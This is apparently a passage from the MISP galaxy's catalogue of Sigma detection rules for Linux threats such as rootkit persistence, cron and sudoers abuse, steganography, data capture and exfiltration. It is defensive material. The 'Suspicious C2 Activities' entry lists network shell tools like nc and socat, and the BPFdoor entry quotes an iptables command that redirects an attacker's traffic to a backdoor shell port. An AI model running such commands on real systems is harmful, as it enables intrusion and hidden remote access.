Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

The tag is: *misp-galaxy:sigma-rules="Antivirus Exploitation Framework Detection"*

View relationships graph

Antivirus Exploitation Framework Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 17241. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424
https://www.virustotal.com/gui/file/925b0b28472d4d79b4bf92050e38cc2b8f722691c713fc28743ac38551bc3797
https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466
https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_exploiting.yml

Triple Cross eBPF Rootkit Default LockFile

Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.

The tag is: *misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Default LockFile"*

Table 17242. Table References

Links
https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_lock_file.yml

Persistence Via Cron Files

Detects creation of cron file or files in Cron directories which could indicates potential persistence.

The tag is: *misp-galaxy:sigma-rules="Persistence Via Cron Files"*

View relationships graph

Persistence Via Cron Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 17243. Table References

Links
https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_cron_files.yml

Linux Doas Conf File Creation

Detects the creation of doas.conf file in linux host platform.

The tag is: *misp-galaxy:sigma-rules="Linux Doas Conf File Creation"*

View relationships graph

Linux Doas Conf File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 17244. Table References

Links
https://research.splunk.com/endpoint/linux_doas_conf_file_creation/

https://www.makeuseof.com/how-to-install-and-use-doas/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_doas_conf_creation.yml

Suspicious Filename with Embedded Base64 Commands

Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.

The tag is: *misp-galaxy:sigma-rules="Suspicious Filename with Embedded Base64 Commands"*

View relationships graph

Suspicious Filename with Embedded Base64 Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 17245. Table References

Links
https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_susp_filename_with_embedded_base64_command.yml

Potentially Suspicious Shell Script Creation in Profile Folder

Detects the creation of shell scripts under the "profile.d" path.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Shell Script Creation in Profile Folder"*

Table 17246. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_susp_shell_script_under_profile_directory.yml

Triple Cross eBPF Rootkit Default Persistence

Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method

The tag is: *misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Default Persistence"*

View relationships graph

Triple Cross eBPF Rootkit Default Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 17247. Table References

Links
https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_persistence.yml

Wget Creating Files in Tmp Directory

Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"

The tag is: *misp-galaxy:sigma-rules="Wget Creating Files in Tmp Directory"*

View relationships graph

Wget Creating Files in Tmp Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 17248. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_wget_download_file_in_tmp_dir.yml

Persistence Via Sudoers Files

Detects creation of sudoers file or files in "sudoers.d" directory which can be used a potential method to persiste privileges for a specific user.

The tag is: *misp-galaxy:sigma-rules="Persistence Via Sudoers Files"*

View relationships graph

Persistence Via Sudoers Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 17249. Table References

Links
https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_sudoers_files.yml

Suspicious C2 Activities

Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)

The tag is: *misp-galaxy:sigma-rules="Suspicious C2 Activities"*

Table 17250. Table References

Links
https://github.com/Neo23x0/auditd
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml

Linux Keylogging with Pam.d

Detect attempt to enable auditing of TTY input

The tag is: *misp-galaxy:sigma-rules="Linux Keylogging with Pam.d"*

View relationships graph

Linux Keylogging with Pam.d has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

Table 17251. Table References

Links
https://linux.die.net/man/8/pam_tty_audit
https://access.redhat.com/articles/4409591#audit-record-types-2
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml

Audio Capture

Detects attempts to record audio using the arecord and ecasound utilities.

The tag is: *misp-galaxy:sigma-rules="Audio Capture"*

View relationships graph

Audio Capture has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 17252. Table References

Links
https://linux.die.net/man/1/arecord
https://manpages.debian.org/unstable/ecasound/ecasound.1.en.html
https://ecasound.seul.org/ecasound/Documentation/examples.html#fconversions
https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml

Password Policy Discovery - Linux

Detects password policy discovery commands

The tag is: *misp-galaxy:sigma-rules="Password Policy Discovery - Linux"*

View relationships graph

Password Policy Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 17253. Table References

Links
https://man7.org/linux/man-pages/man1/passwd.1.html
https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md
https://linux.die.net/man/1/chage
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml

ASLR Disabled Via Sysctl or Direct Syscall - Linux

Detects actions that disable Address Space Layout Randomization (ASLR) in Linux, including: - Use of the `personality` syscall with the ADDR_NO_RANDOMIZE flag (0x0040000) - Modification of the /proc/sys/kernel/randomize_va_space file - Execution of the `sysctl` command to set `kernel.randomize_va_space=0` Disabling ASLR is often used by attackers during exploit development or to bypass memory protection mechanisms. A successful use of these methods can reduce the effectiveness of ASLR and make memory corruption attacks more reliable.

The tag is: *misp-galaxy:sigma-rules="ASLR Disabled Via Sysctl or Direct Syscall - Linux"*

View relationships graph

ASLR Disabled Via Sysctl or Direct Syscall - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009" with estimative-language:likelihood-probability="almost-certain"

Table 17254. Table References

Links

https://man7.org/linux/man-pages/man2/personality.2.html
https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/
https://manual.cs50.io/2/personality
https://github.com/CheraghiMilad/bypass-Neo23x0-auditd-config/blob/f1c478a37911a5447d5ffcd580f22b167bf3df14/personality-syscall/README.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_aslr_protection.yml

System Information Discovery - Auditd

Detects System Information Discovery commands

The tag is: *misp-galaxy:sigma-rules="System Information Discovery - Auditd"*

View relationships graph

System Information Discovery - Auditd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17255. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml

Network Sniffing - Linux

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: *misp-galaxy:sigma-rules="Network Sniffing - Linux"*

View relationships graph

Network Sniffing - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 17256. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_network_sniffing.yml

File Time Attribute Change - Linux

Detect file time attribute change to hide new or changes to existing files.

The tag is: *misp-galaxy:sigma-rules="File Time Attribute Change - Linux"*

View relationships graph

File Time Attribute Change - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 17257. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_change_file_time_attr.yml

Overwriting the File with Dev Zero or Null

Detects overwriting (effectively wiping/deleting) of a file.

The tag is: *misp-galaxy:sigma-rules="Overwriting the File with Dev Zero or Null"*

View relationships graph

Overwriting the File with Dev Zero or Null has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 17258. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_dd_delete_file.yml

Linux Capabilities Discovery

Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.

The tag is: *misp-galaxy:sigma-rules="Linux Capabilities Discovery"*

View relationships graph

Linux Capabilities Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 17259. Table References

Links
https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
https://mn3m.info/posts/suid-vs-capabilities/
https://man7.org/linux/man-pages/man8/getcap.8.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_capabilities_discovery.yml

Possible Coin Miner CPU Priority Param

Detects command line parameter very often used with coin miners

The tag is: *misp-galaxy:sigma-rules="Possible Coin Miner CPU Priority Param"*

View relationships graph

Possible Coin Miner CPU Priority Param has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 17260. Table References

Links
https://xmrig.com/docs/miner/command-line-options
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_coinminer.yml

Clipboard Collection of Image Data with Xclip Tool

Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: *misp-galaxy:sigma-rules="Clipboard Collection of Image Data with Xclip Tool"*

View relationships graph

Clipboard Collection of Image Data with Xclip Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 17261. Table References

Links
https://linux.die.net/man/1/xclip
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_clipboard_image_collection.yml

Steganography Extract Files with Steghide

Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

The tag is: *misp-galaxy:sigma-rules="Steganography Extract Files with Steghide"*

View relationships graph

Steganography Extract Files with Steghide has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Table 17262. Table References

Links
https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_steghide_extract_steganography.yml

Bpfdoor TCP Ports Redirect

All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell

port once it hits the iptables rule for the attacker host only.

The tag is: *misp-galaxy:sigma-rules="Bpfdoor TCP Ports Redirect"*

View relationships graph

Bpfdoor TCP Ports Redirect has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17263. Table References

Links
https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_bpfdoor_port_redirect.yml

Steganography Hide Files with Steghide

Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

The tag is: *misp-galaxy:sigma-rules="Steganography Hide Files with Steghide"*

View relationships graph

Steganography Hide Files with Steghide has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Table 17264. Table References

Links
https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_steghide_embed_steganography.yml

Screen Capture with Xwd

Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations

The tag is: *misp-galaxy:sigma-rules="Screen Capture with Xwd"*

View relationships graph

Screen Capture with Xwd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 17265. Table References

Links
https://linux.die.net/man/1/xwd
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_screencaputre_xwd.yml

Clipboard Collection with Xclip Tool - Auditd

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: *misp-galaxy:sigma-rules="Clipboard Collection with Xclip Tool - Auditd"*

View relationships graph

Clipboard Collection with Xclip Tool - Auditd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 17266. Table References

Links
https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/
https://linux.die.net/man/1/xclip
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_clipboard_collection.yml

Data Exfiltration with Wget

Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.

The tag is: *misp-galaxy:sigma-rules="Data Exfiltration with Wget"*

View relationships graph

Data Exfiltration with Wget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 17267. Table References

Links
https://gtfobins.github.io/gtfobins/wget/
https://linux.die.net/man/1/wget
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_data_exfil_wget.yml

System Owner or User Discovery - Linux

Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:sigma-rules="System Owner or User Discovery - Linux"*

View relationships graph

System Owner or User Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 17268. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_user_discovery.yml

Suspicious Commands Linux

Detects relevant commands often related to malware or hacking activity

The tag is: *misp-galaxy:sigma-rules="Suspicious Commands Linux"*

View relationships graph

Suspicious Commands Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17269. Table References

Links
Internal Research - mostly derived from exploit code including code in MSF[Internal Research - mostly derived from exploit code including code in MSF]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_susp_cmds.yml

Steganography Unzip Hidden Information From Picture File

Detects extracting of zip file from image file

The tag is: *misp-galaxy:sigma-rules="Steganography Unzip Hidden Information From Picture File"*

View relationships graph

Steganography Unzip Hidden Information From Picture File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Table 17270. Table References

Links
https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_unzip_hidden_zip_files_steganography.yml

Steganography Hide Zip Information in Picture File

Detects appending of zip file to image

The tag is: *misp-galaxy:sigma-rules="Steganography Hide Zip Information in Picture File"*

View relationships graph

Steganography Hide Zip Information in Picture File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Table 17271. Table References

Links
https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_hidden_zip_files_steganography.yml

Modify System Firewall

Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.

The tag is: *misp-galaxy:sigma-rules="Modify System Firewall"*

View relationships graph

Modify System Firewall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17272. Table References

Links
https://blog.aquasec.com/container-security-tnt-container-attack
https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/getting-started-with-nftables_configuring-and-managing-networking
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_modify_system_firewall.yml

Screen Capture with Import Tool

Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.

The tag is: *misp-galaxy:sigma-rules="Screen Capture with Import Tool"*

View relationships graph

Screen Capture with Import Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 17273. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md
https://imagemagick.org/
https://linux.die.net/man/1/import

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_screencapture_import.yml

Credentials In Files - Linux

Detecting attempts to extract passwords with grep

The tag is: *misp-galaxy:sigma-rules="Credentials In Files - Linux"*

View relationships graph

Credentials In Files - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17274. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_find_cred_in_files.yml

Service Reload or Start - Linux

Detects the start, reload or restart of a service.

The tag is: *misp-galaxy:sigma-rules="Service Reload or Start - Linux"*

View relationships graph

Service Reload or Start - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

Table 17275. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_susp_service_reload_or_restart.yml

Masquerading as Linux Crond Process

Masquerading occurs when the name or location of an executable, legitimate or malicious, is

manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

The tag is: *misp-galaxy:sigma-rules="Masquerading as Linux Crond Process"*

View relationships graph

Masquerading as Linux Crond Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 17276. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_masquerading_crond.yml

Hidden Files and Directories

Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character

The tag is: *misp-galaxy:sigma-rules="Hidden Files and Directories"*

View relationships graph

Hidden Files and Directories has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 17277. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_hidden_files_directories.yml

System Shutdown/Reboot - Linux

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

The tag is: *misp-galaxy:sigma-rules="System Shutdown/Reboot - Linux"*

View relationships graph

System Shutdown/Reboot - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 17278. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_system_shutdown_reboot.yml

Data Compressed

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy:sigma-rules="Data Compressed"*

View relationships graph

Data Compressed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 17279. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/a78b9ed805ab9ea2e422e1aa7741e9407d82d7b1/atomics/T1560.001/T1560.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_data_compressed.yml

Remove Immutable File Attribute - Auditd

Detects removing immutable file attribute.

The tag is: *misp-galaxy:sigma-rules="Remove Immutable File Attribute - Auditd"*

View relationships graph

Remove Immutable File Attribute - Auditd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 17280. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_chattr_immutable_removal.yml

File or Folder Permissions Change

Detects file and folder permission changes.

The tag is: *misp-galaxy:sigma-rules="File or Folder Permissions Change"*

View relationships graph

File or Folder Permissions Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 17281. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_file_or_folder_permissions.yml

Binary Padding - Linux

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

The tag is: *misp-galaxy:sigma-rules="Binary Padding - Linux"*

View relationships graph

Binary Padding - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

Table 17282. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_binary_padding.yml

Suspicious History File Operations - Linux

Detects commandline operations on shell history files

The tag is: *misp-galaxy:sigma-rules="Suspicious History File Operations - Linux"*

View relationships graph

Suspicious History File Operations - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shell History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

Table 17283. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/execve/lnx_auditd_susp_histfile_operations.yml

Auditing Configuration Changes on Linux Host

Detect changes in auditd configuration files

The tag is: *misp-galaxy:sigma-rules="Auditing Configuration Changes on Linux Host"*

View relationships graph

Auditing Configuration Changes on Linux Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 17284. Table References

Links
https://github.com/Neo23x0/auditd/blob/master/audit.rules
Self Experience[Self Experience]
